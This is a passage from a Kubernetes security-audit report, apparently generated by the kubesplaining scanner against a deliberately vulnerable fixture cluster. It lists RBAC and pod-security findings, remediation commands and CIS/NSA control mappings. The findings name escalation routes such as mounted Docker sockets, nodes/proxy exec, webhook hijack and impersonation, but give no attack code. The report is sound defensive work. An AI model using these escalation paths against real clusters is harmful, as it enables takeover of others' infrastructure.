Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount secrets-bundle/cross-ns-reader. The Role secrets-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "secrets-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount vulnerable/default
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cm-reader granted to ServiceAccount vulnerable/default but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount vulnerable/default. The Role cm-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cm-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount lp-fixtures/sa-lp-narrow
1 low 1 finding
LOW KUBE-RBAC-UNUSED-VERB-001 Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow

Over 30 days (2026-09-09 → 2026-10-09, 3 events), ServiceAccount lp-fixtures/sa-lp-narrow exercised some of the verbs in r-lp-narrow but not others. Unused: create configmaps (apiGroup core), delete configmaps (apiGroup core), patch configmaps (apiGroup core), update configmaps (apiGroup core), watch configmaps (apiGroup core). The Role can be safely narrowed to drop the verbs the workload has never needed.

How to fix (2 steps)

Confirm the audit window is long enough to capture rare-but-legitimate operations (monthly cron jobs, error-only code paths).

Edit r-lp-narrow to drop the unused verbs, or apply the suggested replacement below.

Suggested narrower Role (YAML)
# Drop the following from Role/ClusterRole `r-lp-narrow`:
#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch
# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).
ServiceAccount rbac-fixtures/ghost-sa-fixture
1 low 1 finding
LOW KUBE-RBAC-STALE-002 Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture

RoleBinding rbac-fixtures/rb-stale-subject grants permissions from Role rbac-fixtures/r-stale-subject-target to ServiceAccount rbac-fixtures/ghost-sa-fixture, but no such ServiceAccount exists in namespace rbac-fixtures. No pods can mount a token for this SA today, so the binding confers no realised permissions.

This is latent privilege escalation. The moment a ServiceAccount named exactly ghost-sa-fixture is created in namespace rbac-fixtures — by an attacker with create serviceaccounts in that namespace, by a routine redeploy from a stale GitOps repo, or by an operator restoring an accidentally-deleted SA — it inherits everything Role rbac-fixtures/r-stale-subject-target grants. The binding itself is never re-reviewed; only the SA creation is, and that step usually looks unremarkable.

Note: kubesplaining only validates ServiceAccount subjects this way. User and Group subjects cannot be checked against the snapshot — Kubernetes authenticates them externally (OIDC, client certs, cloud IAM) and keeps no inventory of which identities are valid.

How to fix (4 steps)

Confirm no workloads still depend on this SA: kubectl get all -n rbac-fixtures -o yaml | rg 'serviceAccountName:\s*ghost-sa-fixture'.

Edit the binding to drop the stale subject, or delete the binding outright if it is obsolete.

If the SA was deleted by mistake, restore it (kubectl apply -f <sa.yaml>) and re-review whether the binding's grant is still appropriate.

Add a CI lint that rejects bindings whose ServiceAccount subjects do not resolve to an existing SA in the named namespace.

Compliance Coverage

Findings mapped to controls in the CIS Kubernetes Benchmark v1.9 and the NSA/CISA Kubernetes Hardening Guide v1.2. Use this view to answer auditor questions like “which findings touch CIS 5.1 (RBAC)?” without re-reading every finding’s remediation. One finding can map to multiple controls; the same finding appears under every control it satisfies.

478 Findings mapped
2 Frameworks
19 CIS v1.9 controls hit
4 NSA / CISA controls hit
141 Critical findings

333 findings in this report are not yet mapped to any external framework control. They remain visible in every other tab; only the Compliance view excludes them.

CIS v1.9

CIS Kubernetes Benchmark v1.9

19 controls 466 findings 112 crit 234 high 118 med 2 low View framework →
5.1.8

Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster

36 crit 64 high
100 findings
5.1.1

Ensure that the cluster-admin role is only used where required

35 crit 1 med 1 low
  • CRITICAL KUBE-PRIVESC-020 Cluster-wide update/patch on apiservices lets ServiceAccount/hookbackend-fixtures/apisvc-installer re-route API groups to a server it controls
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/hookbackend-fixtures/hookbackend-operator can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-pod-create can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/cert-manager/cert-manager directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/cutres/cutres-detour directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/cutres/cutres-parallel directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/deepchain-tenant/deepchain-privileged directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/flux-system/kustomize-controller directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/foothold-exec/foothold-decoy-sa directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/rbac-fixtures/sa-cluster-admin directly bound to cluster-admin
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/cert-manager/cert-manager can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/cutres/cutres-detour can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/cutres/cutres-parallel can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/deepchain-tenant/deepchain-privileged can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/flux-system/kustomize-controller can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/foothold-exec/foothold-decoy-sa can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/hookbackend-fixtures/apisvc-installer can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-bind-escalate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-cluster-admin can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-impersonate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-wildcard can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/deepchain-tenant/deepchain-binder can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/nodeid-fixtures/nodeid-joiner can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-workload-mutate can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/vulnerable/privileged-reader can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-secret-mint can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-workload-mutate can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/vulnerable/privileged-reader can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach cluster-admin equivalent in 3 hop(s)
  • MEDIUM KUBE-RBAC-STALE-001 Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref
  • LOW KUBE-RBAC-STALE-002 Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture
37 findings
5.2.1

Minimize the admission of privileged containers

17 crit 40 high 3 med
60 findings
5.1.3

Minimize wildcard use in Roles and ClusterRoles

16 crit 14 med 1 low
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/cert-manager/cert-manager
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/cutres/cutres-detour
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/cutres/cutres-parallel
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/deepchain-tenant/deepchain-privileged
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/flux-system/kustomize-controller
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/foothold-exec/foothold-decoy-sa
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-wildcard
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/cert-manager/cert-manager holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/cutres/cutres-detour holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/cutres/cutres-parallel holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/deepchain-tenant/deepchain-privileged holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/flux-system/kustomize-controller holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • MEDIUM KUBE-RBAC-WILDCARD-USED-PARTIAL-001 Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-sign granted to ServiceAccount csr-fixtures/sa-csr-sign but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cluster-admin granted to ServiceAccount foothold-exec/foothold-decoy-sa but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role foothold-reader-secrets granted to ServiceAccount foothold-exec/foothold-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role foothold-quiet-secrets granted to ServiceAccount foothold-fixtures/foothold-quiet but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-imgswap-secret-reader granted to ServiceAccount imgswap-fixtures/imgswap-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cm-reader granted to ServiceAccount vulnerable/default but never exercised
  • LOW KUBE-RBAC-UNUSED-VERB-001 Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow
31 findings
5.1.6

Ensure that Service Account Tokens are only mounted where necessary

3 crit 8 high
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/foothold-exec/foothold-reader is mounted by live workloads and has dangerous permissions: secrets (kube-system)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/foothold-fixtures/foothold-quiet is mounted by live workloads and has dangerous permissions: secrets (kube-system)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/imgswap-fixtures/imgswap-reader is mounted by live workloads and has dangerous permissions: secrets (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by live workloads and has dangerous permissions: create pods (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)
  • HIGH KUBE-SA-DAEMONSET-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to
11 findings
5.2.12

Minimize the admission of HostPath volumes

3 crit 3 high
  • CRITICAL KUBE-ESCAPE-005 Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock → /var/run/docker.sock)
  • CRITICAL KUBE-ESCAPE-006 Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app
  • CRITICAL KUBE-CONTAINERD-SOCKET-001 Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)
  • HIGH KUBE-PV-HOSTPATH-001 Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet
  • HIGH KUBE-ESCAPE-008 /var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive
  • HIGH KUBE-HOSTPATH-001 HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app
6 findings
5.1.4

Minimize access to create pods

1 crit 12 high 1 med
  • CRITICAL KUBE-PRIVESC-012 get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy)
  • HIGH KUBE-PRIVESC-001 Namespace local-path-storage only pod creation enables token theft and node takeover (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
  • HIGH KUBE-PRIVESC-001 Namespace privesc-fixtures only pod creation enables token theft and node takeover (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/rbac-fixtures/sa-pod-create)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/vulnerable/privileged-reader)
  • HIGH KUBE-PRIVESC-003 Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate
  • HIGH KUBE-PRIVESC-003 Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-deployer
  • HIGH KUBE-PRIVESC-034 Namespace imgswap-fixtures only update/patch on pods swaps container images inside running pods (ServiceAccount/imgswap-fixtures/imgswap-patcher)
  • HIGH KUBE-PRIVESC-001 Namespace cutres-pods-a only pod creation enables token theft and node takeover (ServiceAccount/cutres/cutres-doublebind)
  • HIGH KUBE-PRIVESC-001 Namespace cutres-pods-b only pod creation enables token theft and node takeover (ServiceAccount/cutres/cutres-doublebind)
  • HIGH KUBE-PRIVESC-001 Namespace psaflip-fixtures only pod creation enables token theft and node takeover (ServiceAccount/psaflip-fixtures/psaflip-flipper)
  • HIGH KUBE-PRIVESC-003 Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-job-patcher
  • HIGH KUBE-PRIVESC-003 Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-patcher
  • MEDIUM KUBE-PRIVESC-030 Namespace hookbackend-fixtures only create pods/binding lets ServiceAccount/hookbackend-fixtures/podbind-scheduler act as the scheduler and place pods on any node
14 findings
5.2.2

Minimize the admission of containers wishing to share the host process ID namespace

1 crit
  • CRITICAL KUBE-ESCAPE-002 Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app
1 finding
5.2.5

Minimize the admission of containers with allowPrivilegeEscalation

36 high
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in DaemonSet/rbac-fixtures/daemon-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/imds-pivot-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/irsa-admin-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-image
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-lifecycle
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-limits
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-probes
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/csr-fixtures/csr-mint-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/csr-fixtures/csr-sign-app
  • HIGH KUBE-PODSEC-APE-001 Container api allows privilege escalation in Deployment/flat-network/api
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/flat-network/unmatched
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/foothold-fixtures/foothold-priv-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/foothold-fixtures/foothold-quiet-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/gw-workloads/gw-web
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/hookbackend-fixtures/hookbackend-injector
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/imgswap-fixtures/imgswap-reader-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/ingress-only/ingress-app
  • HIGH KUBE-PODSEC-APE-001 Container local-path-provisioner allows privilege escalation in Deployment/local-path-storage/local-path-provisioner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-narrow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-orphan-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-allow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-open-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/imp-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container pause allows privilege escalation in Deployment/secrets-bundle/cross-ns-consumer
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/statusspoof-fixtures/statusspoof-api
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/generic-hostpath-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/host-ns-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/risky-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/root-runner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/socket-mounts-app
  • HIGH KUBE-PODSEC-APE-001 Container batch allows privilege escalation in Job/gw-workloads/gw-batch
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Pod/foothold-exec/foothold-decoy
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Pod/foothold-exec/foothold-target
36 findings
5.3.2

Ensure that all Namespaces have NetworkPolicies defined

35 high 4 med
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cert-manager has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cloud-eks-imp has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace containersec-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace csr-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres-deputy-tenant has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres-pods-a has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres-pods-b has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace deepchain-tenant has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace default has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace flux-system has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace foothold-exec has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace foothold-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace foothold-ops has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace gw-groups has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace gw-outsider has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace gw-workloads has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace hookbackend-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace imgswap-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace local-path-storage has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace lp-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace map-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace nodeid-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace privesc-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-suppressed has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-unlabeled-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psaflip-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace pv-hostpath-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-ns-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle-target has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace statusspoof-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
